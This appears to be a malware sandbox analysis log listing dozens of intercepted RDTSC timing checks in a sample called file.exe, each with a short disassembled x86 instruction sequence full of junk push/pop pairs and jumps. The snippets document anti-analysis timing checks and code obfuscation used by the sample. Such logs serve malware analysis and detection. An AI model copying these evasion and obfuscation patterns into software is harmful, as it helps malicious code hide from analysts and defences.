Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80FC second address: 4E8100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F230F second address: 4F2355 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE4A9009D15h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push edx 0x00000010 jmp 00007FE4A9009D0Dh 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FE4A9009D16h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2355 second address: 4F239E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FE4A91B79E8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 movzx ebx, di 0x00000025 mov dword ptr [ebp+12456CA0h], edi 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D218Ah], esi 0x00000033 push 00000000h 0x00000035 sub edi, 68462A97h 0x0000003b push eax 0x0000003c push esi 0x0000003d push ecx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9099 second address: 4E909F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E909F second address: 4E90B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007FE4A91B79E6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jne 00007FE4A91B79E6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAF20 second address: 4EAF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90B8 second address: 4E90C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FE4A91B79E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F440F second address: 4F4413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4413 second address: 4F4417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ECE70 second address: 4ECE7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FE4A9009D06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1542 second address: 4F1547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1547 second address: 4F156C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007FE4A9009D1Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE4A9009D0Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EBEF4 second address: 4EBEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EBEFB second address: 4EBF05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FE4A9009D06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F45CC second address: 4F45D1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD432 second address: 4FD451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A9009D19h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD451 second address: 4FD460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jne 00007FE4A91B79E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FCD37 second address: 4FCD50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE4A9009D0Ah 0x0000000e jbe 00007FE4A9009D06h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50096D second address: 500971 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500971 second address: 500977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500977 second address: 50097D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50097D second address: 500988 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007FE4A9009D06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501CF5 second address: 501D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501D0B second address: 501D15 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE4A9009D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501E40 second address: 501E44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D73A second address: 48D744 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FE4A9009D06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D744 second address: 48D74A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508015 second address: 50801A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50801A second address: 508020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508020 second address: 50802E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE4A9009D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50802E second address: 508032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508032 second address: 508038 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508343 second address: 50835B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A91B79EAh 0x00000009 popad 0x0000000a pushad 0x0000000b ja 00007FE4A91B79ECh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50835B second address: 50837E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A9009D0Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007FE4A9009D06h 0x00000011 jmp 00007FE4A9009D0Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5084B8 second address: 5084D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508644 second address: 50866C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jng 00007FE4A9009D06h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007FE4A9009D26h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE4A9009D14h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5087F2 second address: 508802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 jno 00007FE4A91B79E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508802 second address: 508807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508807 second address: 50881E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE4A91B79EEh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A33BC second address: 4A33FC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE4A9009D06h 0x00000008 jmp 00007FE4A9009D13h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FE4A9009D0Bh 0x00000014 popad 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a jmp 00007FE4A9009D12h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A33FC second address: 4A3408 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3408 second address: 4A340C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A340C second address: 4A3416 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE4A91B79E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48BC88 second address: 48BCA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FE4A9009D06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50FFF9 second address: 50FFFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA3D9 second address: 4DA427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c xor edi, 3EE8BCC4h 0x00000012 lea eax, dword ptr [ebp+1247F113h] 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FE4A9009D08h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushad 0x00000037 popad 0x00000038 push ebx 0x00000039 pop ebx 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA427 second address: 4C2AD5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE4A91B79FFh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FE4A91B79E8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 add edi, dword ptr [ebp+122D37B1h] 0x0000002d call dword ptr [ebp+122D216Ch] 0x00000033 pushad 0x00000034 pushad 0x00000035 jmp 00007FE4A91B79F4h 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DAB41 second address: 4DAB47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB15D second address: 4DB163 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB329 second address: 4DB333 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE4A9009D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB529 second address: 4DB5C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE4A91B79F5h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007FE4A91B79F6h 0x00000014 push edx 0x00000015 jnc 00007FE4A91B79E6h 0x0000001b pop edx 0x0000001c popad 0x0000001d nop 0x0000001e pushad 0x0000001f jmp 00007FE4A91B79F8h 0x00000024 movsx ebx, bx 0x00000027 popad 0x00000028 lea eax, dword ptr [ebp+1247F157h] 0x0000002e je 00007FE4A91B79FBh 0x00000034 jmp 00007FE4A91B79F5h 0x00000039 nop 0x0000003a je 00007FE4A91B79FBh 0x00000040 jmp 00007FE4A91B79F5h 0x00000045 push eax 0x00000046 push edi 0x00000047 push eax 0x00000048 push edx 0x00000049 push edx 0x0000004a pop edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB5C8 second address: 4DB61F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 or dword ptr [ebp+122D1CF9h], ecx 0x0000000e lea eax, dword ptr [ebp+1247F113h] 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FE4A9009D08h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov di, E83Dh 0x00000032 nop 0x00000033 ja 00007FE4A9009D1Ah 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB61F second address: 4DB623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB623 second address: 4DB629 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB629 second address: 4C36F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FE4A91B79E6h 0x00000009 jmp 00007FE4A91B79EFh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 jno 00007FE4A91B79E9h 0x00000018 mov edi, dword ptr [ebp+122D3949h] 0x0000001e call dword ptr [ebp+122D2836h] 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jnc 00007FE4A91B79E6h 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 jmp 00007FE4A91B79EEh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51042A second address: 51044D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FE4A9009D0Eh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510586 second address: 51058D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5106C1 second address: 5106C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5106C7 second address: 5106CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51095A second address: 51095E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49AD07 second address: 49AD14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FE4A91B79E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49AD14 second address: 49AD1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49AD1C second address: 49AD50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007FE4A91B79E6h 0x00000009 jmp 00007FE4A91B79F4h 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jnc 00007FE4A91B79E6h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49AD50 second address: 49AD54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49AD54 second address: 49AD58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49AD58 second address: 49AD64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE4A9009D06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5162F4 second address: 516328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A91B79EDh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jmp 00007FE4A91B79EEh 0x00000011 jmp 00007FE4A91B79EBh 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516328 second address: 51632C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51632C second address: 516332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516332 second address: 51633C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51633C second address: 516340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516340 second address: 516346 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51661B second address: 516632 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FE4A91B79F1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516632 second address: 516645 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A9009D0Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5167C3 second address: 5167C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516B6D second address: 516B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4A9009D0Ah 0x00000009 pop eax 0x0000000a pushad 0x0000000b js 00007FE4A9009D06h 0x00000011 push edi 0x00000012 pop edi 0x00000013 jl 00007FE4A9009D06h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516B8C second address: 516BA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007FE4A91B79ECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516D27 second address: 516D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FE4A9009D15h 0x0000000b popad 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007FE4A9009D13h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516D5E second address: 516D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170B1 second address: 5170C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnc 00007FE4A9009D0Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517234 second address: 51724E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4A91B79F6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516030 second address: 516040 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE4A9009D06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516040 second address: 516044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516044 second address: 516050 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516050 second address: 51608B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE4A91B79E6h 0x0000000a jmp 00007FE4A91B79F2h 0x0000000f jmp 00007FE4A91B79EEh 0x00000014 popad 0x00000015 jmp 00007FE4A91B79F0h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51608B second address: 516090 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52021F second address: 520223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51EEAE second address: 51EEB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51EEB2 second address: 51EEB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51EEB8 second address: 51EEC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
